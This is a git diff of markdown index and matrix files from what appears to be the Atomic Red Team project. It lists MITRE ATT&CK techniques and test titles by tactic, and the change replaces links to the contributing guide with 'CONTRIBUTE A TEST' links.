Configuration Discovery [windows] -- [T1049 System Network Connections Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1049 System Network Connections Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1033 System Owner/User Discovery](./T1033/T1033.md) - Atomic Test #1: System Owner/User Discovery [windows] - [T1007 System Service Discovery](./T1007/T1007.md) @@ -251,40 +251,40 @@ - Atomic Test #3: Windows Credential Editor [windows] - Atomic Test #4: Registry dump of SAM, creds, and secrets [windows] - [T1081 Credentials in Files](./T1081/T1081.md) -- [T1214 Credentials in Registry](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1212 Exploitation for Credential Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1187 Forced Authentication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1214 Credentials in Registry [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1212 Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1187 Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1179 Hooking](./T1179/T1179.md) - Atomic Test #1: Hook PowerShell TLS Encrypt/Decrypt Messages [windows] - [T1056 Input Capture](./T1056/T1056.md) - Atomic Test #1: Input Capture [windows] -- [T1208 Kerberoasting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1171 LLMNR/NBT-NS Poisoning](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1040 Network Sniffing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1174 Password Filter DLL](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1208 Kerberoasting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1171 LLMNR/NBT-NS Poisoning [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1040 Network Sniffing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1174 Password Filter DLL [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1145 Private Keys](./T1145/T1145.md) - Atomic Test #1: Private Keys [windows] -- [T1091 Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1111 Two-Factor Authentication Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1091 Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1111 Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # lateral-movement -- [T1017 Application Deployment Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1175 Distributed Component Object Model](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1210 Exploitation of Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1017 Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1175 Distributed Component Object Model [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1210 Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1037 Logon Scripts](./T1037/T1037.md) - Atomic Test #1: Logon Scripts [windows] - [T1075 Pass the Hash](./T1075/T1075.md) - Atomic Test #1: Mimikatz Pass the Hash [windows] - Atomic Test #2: Mimikatz Kerberos Ticket Attack [windows] -- [T1097 Pass the Ticket](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1097 Pass the Ticket [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1076 Remote Desktop Protocol](./T1076/T1076.md) - Atomic Test #1: RDP [windows] - [T1105 Remote File Copy](./T1105/T1105.md) -- [T1021 Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1091 Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1051 Shared Webroot](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1080 Taint Shared Content](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1072 Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1021 Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1091 Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1051 Shared Webroot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1080 Taint Shared Content [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1072 Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1077 Windows Admin Shares](./T1077/T1077.md) - Atomic Test #1: TODO [windows] - [T1028 Windows Remote Management](./T1028/T1028.md) @@ -305,44 +305,44 @@ - Atomic Test #2: PowerShell [windows] - [T1074 Data Staged](./T1074/T1074.md) - Atomic Test #1: Stage data from Discovery.bat [windows] -- [T1213 Data from Information Repositories](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1005 Data from Local System](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1039 Data from Network Shared Drive](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1025 Data from Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1114 Email Collection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1213 Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1005 Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1039 Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1025 Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1114 Email Collection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1056 Input Capture](./T1056/T1056.md) - Atomic Test #1: Input Capture [windows] -- [T1185 Man in the Browser](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1185 Man in the Browser [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1113 Screen Capture](./T1113/T1113.md) -- [T1125 Video Capture](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1125 Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # exfiltration -- [T1020 Automated Exfiltration](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1020 Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1002 Data Compressed](./T1002/T1002.md) - Atomic Test #1: Compress Data for Exfiltration With PowerShell [windows] - Atomic Test #2: Compress Data for Exfiltration With Rar [windows] - [T1022 Data Encrypted](./T1022/T1022.md) - [T1030 Data Transfer Size Limits](./T1030/T1030.md) - [T1048 Exfiltration Over Alternative Protocol](./T1048/T1048.md) -- [T1041 Exfiltration Over Command and Control Channel](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1011 Exfiltration Over Other Network Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1052 Exfiltration Over Physical Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1029 Scheduled Transfer](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1041 Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1011 Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1052 Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1029 Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # execution - [T1191 CMSTP](./T1191/T1191.md) - Atomic Test #1: CMSTP Executing Remote Scriptlet [windows] - [T1059 Command-Line Interface](./T1059/T1059.md) -- [T1196 Control Panel Items](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1196 Control Panel Items [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1173 Dynamic Data Exchange](./T1173/T1173.md) - Atomic Test #1: Execute Commands [windows] -- [T1106 Execution through API](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1129 Execution through Module Load](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1203 Exploitation for Client Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1061 Graphical User Interface](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1106 Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1129 Execution through Module Load [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1203 Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1061 Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1118 InstallUtil](./T1118/T1118.md) - Atomic Test #1: InstallUtil uninstall method call [windows] -- [T1177 LSASS Driver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1177 LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1170 Mshta](./T1170/T1170.md) - Atomic Test #1: Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject [windows] - [T1086 PowerShell](./T1086/T1086.md) @@ -365,14 +365,14 @@ - Atomic Test #1: At.exe Scheduled task [windows] - Atomic Test #2: Scheduled task Local [windows] - Atomic Test #3: Scheduled task Remote [windows] -- [T1064 Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1035 Service Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1218 Signed Binary Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1216 Signed Script Proxy Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1072 Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1064 Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1035 Service Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1218 Signed Binary Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1216 Signed Script Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1072 Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1127 Trusted Developer Utilities](./T1127/T1127.md) - Atomic Test #1: MSBuild Bypass Using Inline Tasks [windows] -- [T1204 User Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1204 User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1047 Windows Management Instrumentation](./T1047/T1047.md) - Atomic Test #1: WMI Reconnaissance Users [windows] - Atomic Test #2: WMI Reconnaissance Processes [windows] @@ -385,36 +385,36 @@ - Atomic Test #4: Psexec [windows] # command-and-control -- [T1043 Commonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1092 Communication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1090 Connection Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1094 Custom Command and Control Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1024 Custom Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1132 Data Encoding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1001 Data Obfuscation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1172 Domain Fronting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1008 Fallback Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1104 Multi-Stage Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1188 Multi-hop Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1026 Multiband Communication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1079 Multilayer Encryption](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1219 Remote Access Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1043 Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1092 Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1090 Connection Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1094 Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1024 Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1132 Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1001 Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1172 Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1008 Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1104 Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1188 Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1026 Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1079 Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1219 Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1105 Remote File Copy](./T1105/T1105.md) -- [T1071 Standard Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1032 Standard Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1095 Standard Non-Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1065 Uncommonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1102 Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1071 Standard Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1032 Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1095 Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1065 Uncommonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1102 Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # initial-access -- [T1189 Drive-by Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1190 Exploit Public-Facing Application](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1200 Hardware Additions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1091 Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1193 Spearphishing Attachment](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1192 Spearphishing Link](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1194 Spearphishing via Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1195 Supply Chain Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1199 Trusted Relationship](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1189 Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1190 Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1200 Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1091 Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1193 Spearphishing Attachment [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1192 Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1194 Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1195 Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1199 Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/windows-matrix.md b/atomics/windows-matrix.md index e2e10307..916d5a9c 100644 --- a/atomics/windows-matrix.md +++ b/atomics/windows-matrix.md @@ -1,52 +1,52 @@ # Windows Atomic Tests by ATT&CK Tactic & Technique | initial-access | execution | persistence | privilege-escalation | defense-evasion | credential-access | discovery | lateral-movement | collection | exfiltration | command-and-control | |-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----| -| [Drive-by Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [CMSTP](./T1191/T1191.md) | [Accessibility Features](./T1015/T1015.md) | [Access Token Manipulation](./T1134/T1134.md) | [Access Token Manipulation](./T1134/T1134.md) | [Account Manipulation](./T1098/T1098.md) | [Account Discovery](./T1087/T1087.md) | [Application Deployment Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Audio Capture](./T1123/T1123.md) | [Automated Exfiltration](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Commonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Exploit Public-Facing Application](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Command-Line Interface](./T1059/T1059.md) | [AppCert DLLs](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Accessibility Features](./T1015/T1015.md) | [BITS Jobs](./T1197/T1197.md) | [Brute Force](./T1110/T1110.md) | [Application Window Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Distributed Component Object Model](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | [Communication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Hardware Additions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Control Panel Items](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [AppInit DLLs](./T1103/T1103.md) | [AppCert DLLs](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Binary Padding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Credential Dumping](./T1003/T1003.md) | [Browser Bookmark Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exploitation of Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | [Connection Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Dynamic Data Exchange](./T1173/T1173.md) | [Application Shimming](./T1138/T1138.md) | [AppInit DLLs](./T1103/T1103.md) | [Bypass User Account Control](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Credentials in Files](./T1081/T1081.md) | [File and Directory Discovery](./T1083/T1083.md) | [Logon Scripts](./T1037/T1037.md) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | [Custom Command and Control Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Spearphishing Attachment](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Execution through API](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Authentication Package](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Application Shimming](./T1138/T1138.md) | [CMSTP](./T1191/T1191.md) | [Credentials in Registry](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Network Service Scanning](./T1046/T1046.md) | [Pass the Hash](./T1075/T1075.md) | [Data from Information Repositories](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | [Custom Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Spearphishing Link](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Execution through Module Load](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [BITS Jobs](./T1197/T1197.md) | [Bypass User Account Control](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Code Signing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exploitation for Credential Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Network Share Discovery](./T1135/T1135.md) | [Pass the Ticket](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data from Local System](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Command and Control Channel](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data Encoding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Spearphishing via Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exploitation for Client Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Bootkit](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Component Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Forced Authentication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Password Policy Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Remote Desktop Protocol](./T1076/T1076.md) | [Data from Network Shared Drive](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Other Network Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data Obfuscation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Supply Chain Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Graphical User Interface](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Browser Extensions](./T1176/T1176.md) | [Exploitation for Privilege Escalation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Component Object Model Hijacking](./T1122/T1122.md) | [Hooking](./T1179/T1179.md) | [Peripheral Device Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Remote File Copy](./T1105/T1105.md) | [Data from Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Physical Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Domain Fronting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Trusted Relationship](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [InstallUtil](./T1118/T1118.md) | [Change Default File Association](./T1042/T1042.md) | [Extra Window Memory Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Control Panel Items](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Input Capture](./T1056/T1056.md) | [Permission Groups Discovery](./T1069/T1069.md) | [Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Email Collection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Scheduled Transfer](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Fallback Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [LSASS Driver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Component Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [File System Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [DCShadow](./T1207/T1207.md) | [Kerberoasting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Process Discovery](./T1057/T1057.md) | [Replication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Input Capture](./T1056/T1056.md) | | [Multi-Stage Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | [Mshta](./T1170/T1170.md) | [Component Object Model Hijacking](./T1122/T1122.md) | [Hooking](./T1179/T1179.md) | [DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [LLMNR/NBT-NS Poisoning](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Query Registry](./T1012/T1012.md) | [Shared Webroot](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Man in the Browser](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Multi-hop Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | [PowerShell](./T1086/T1086.md) | [Create Account](./T1136/T1136.md) | [Image File Execution Options Injection](./T1183/T1183.md) | [DLL Side-Loading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Network Sniffing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Remote System Discovery](./T1018/T1018.md) | [Taint Shared Content](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Screen Capture](./T1113/T1113.md) | | [Multiband Communication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | [Regsvcs/Regasm](./T1121/T1121.md) | [DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [New Service](./T1050/T1050.md) | [Deobfuscate/Decode Files or Information](./T1140/T1140.md) | [Password Filter DLL](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Security Software Discovery](./T1063/T1063.md) | [Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Video Capture](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Multilayer Encryption](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) 